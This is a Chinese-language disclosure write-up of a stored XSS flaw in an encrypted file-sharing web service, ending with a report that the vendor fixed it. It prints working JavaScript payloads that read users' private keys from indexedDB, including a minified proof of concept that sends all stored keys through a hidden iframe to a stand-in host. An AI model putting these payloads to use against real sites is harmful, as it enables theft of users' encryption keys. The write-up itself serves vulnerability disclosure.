通過存儲型XSS漏洞獲取目標用戶本地私鑰信息

通過存儲型XSS漏洞獲取目標用戶本地私鑰信息

背景

不久前,發布于荷蘭某科技網站的一篇文章展示了一種新發布的在線服務,其聲稱利用該服務可通過Web方式實現用戶端到端的文件請求傳輸。

和以前一樣,因為我對這種安全加密實現非常感興趣,所以看到這篇文章我就有種測試沖動了。文章聲稱這種通過web方式的文件請求是安全的,果真如此嗎?該加密服務網站只介紹了幾種使用RSA和AES私鑰的本地端到端加密方法,并未深入對其具體的加密實現作出介紹,而且,其應用也不是開源的,所以難得從代碼審計或白皮書說明去入手。

雖然該加密服務網站聲稱它們提供的服務絕對安全可靠,但我覺得任何人都會犯錯,所以我決定深入測試分析一下。

在名稱處發現存儲型XSS漏洞

注冊了賬號之后,我就開始測試,不一會我就發現在賬戶名稱和公司名稱字段區域存在存儲型XSS漏洞。該加密服務允許用戶創建一個文件請求,該請求會生成一個鏈接,可以把該鏈接通過郵件形式發送給其它服務用戶。收件用戶收到該鏈接郵件后,打開郵件就能看到一個頁面,在該頁面中可以進行文件上傳操作。用戶創建的文件請求包含了用戶在客戶端用于文件加密的公鑰信息。

這里的問題是,在這個文件請求生成的鏈接頁面中,其用戶名或公司名字段未經過濾處理,可以實現XSS Payload觸發,如果在其中加入XSS Payload-<script>alert(‘Hi there!’);</script>,把相應文件請求鏈接發給其他用戶后,當鏈接被打開會被執行XSS,如下:

通過存儲型XSS漏洞獲取目標用戶本地私鑰信息

也就是說,我們能在目標用戶的系統中執行任意代碼,干一些壞事,但如何來深入利用它呢?

獲取目標用戶本地私鑰信息

該加密服務使用客戶端非對稱加密來保護用戶文件,由于加密服務是通過網站的形式來部署的,所以其加密機制應該是通過JavaScript來調用實現的,也就是說,可以通過JavaScript來獲取到本地的私鑰信息。經分析發現,該加密服務把用戶生成的私鑰信息存儲在本地的indexedDB數據庫中,且不可通過網絡發送。

用戶私鑰在此是保護用戶加密文件的重要信息了,有了私鑰才能解密使用其配對密鑰加密的文件,必須好好保護私鑰且不能分享給其他人。

你可能已經猜到了,我們可以在上述存在存儲型XSS漏洞的名字字段內,通過變化Payload來獲取用戶私鑰。我寫了獲取本地存儲信息的代碼,并層層篩選測試,最終有了以下獲取本地用戶私鑰的代碼:

var?dbReq?=?indexedDB.open("companyname"); dbReq.onsuccess?=?()?=&gt;?{ ????var?store?=?dbReq.result.transaction(["keys"]).objectStore("keys").get("52_private_key"); ????store.onsuccess?=?()?=&gt;?alert(store.result.pem); };

把這段代碼嵌入名字字段,然后生成文件請求鏈接,打開該鏈接就能反彈顯示用戶的私鑰信息:

通過存儲型XSS漏洞獲取目標用戶本地私鑰信息

從攻擊者端收集受害者私鑰信息

這樣彈出用戶私鑰信息的方式可不好,我們得把它發送到我們控制的遠程服務器上才行,是吧。為此,我嘗試用POST方式把私鑰信息發送到我控制的遠程服務器上去。我遇到了第一個問題,上述存在XSS漏洞的名字區域最多只允許輸入255個字符,但 JavaScript 的請求又非常冗長,所以需要盡量把代碼簡化。

但很快,我發現在服務應用中存在 jQuery,它允許發出非常簡單和簡短的Ajax請求,太好了。但最終卻因為CORS的限制,我沒能成功。

有人可能會說是因為我的遠程服務器上沒配置正確,但我確實把Access-Control-Allow-Origin設置成了*,還是不行,所以我只能估計是服務端CORS頭配置的限制了。

但對于非Ajax請求來說,我發現在GET請求中,如果把數據放到URL后就是一種很好的傳輸方式,為此我選擇了iframes方式的鏈接嵌入。把數據放到URL之后,如//example.com/?k=DATA,然后在請求生成的鏈接頁面中隱蔽添加了一個iframes。受害者瀏覽器會加載該iframes框架,把數據回傳給我,如:

$('body').append( ????'<iframe></iframe>' );

用window.location.href方法讓受害用戶執行重定向跳轉到攻擊者頁面,也是可行的,但這難免會引起懷疑。

就這樣,我們就能遠程收集獲取到目標用戶的私鑰信息了!

Proof of Concept

經過測試,我把上述代碼壓縮,并填入我的遠程服務器短域名,剛好是250個字符,低于255個最大字符的限制。完美!

<script>setTimeout(()=>indexedDB.open("companyname").onsuccess=(a)=>a.target.result.transaction(["keys"]). objectStore("keys").getAll().onsuccess=(b)=>$(&#39;body&#39;).append(&#39;<iframe src="//example.org?k=&#39;+btoa (JSON.stringify(b.target.result))+&#39;">&#39;),1);</script>

參考以下POC視頻:

https://uploads.timvisee.com/p/stealing-private-keys-from-secure-file-sharing-service-poc-video.webm

在我的遠程服務器端,我用了一個簡單的PHP腳本來收集上述傳輸回來的附加在URL后的目標用戶數據,進行解析提取,會形成一個keys.txt文件進行存儲。

總結

測試有效后,我及時聯系了廠商,他們在15分鐘就給了回復,經過一番討論之后,他們在一個小時之內就及時修復了該漏洞。所以,我的經驗是,別單單根據網站或廠商的說明去相信一項服務的安全性,安全的前提須基于以下因素:

運行有一段時間;

是開源的;

經過現實應用的考驗;

經過多方參與的安全審計;

只有經過深入的研究和審查才能聲稱是安全的;

或者由其它可信安全的第三方托管運行。

相關文章教程推薦:https://uploads.timvisee.com/p/stealing-private-keys-from-secure-file-sharing-service-poc-video.webm

? 版權聲明
THE END
喜歡就支持一下吧
點贊8 分享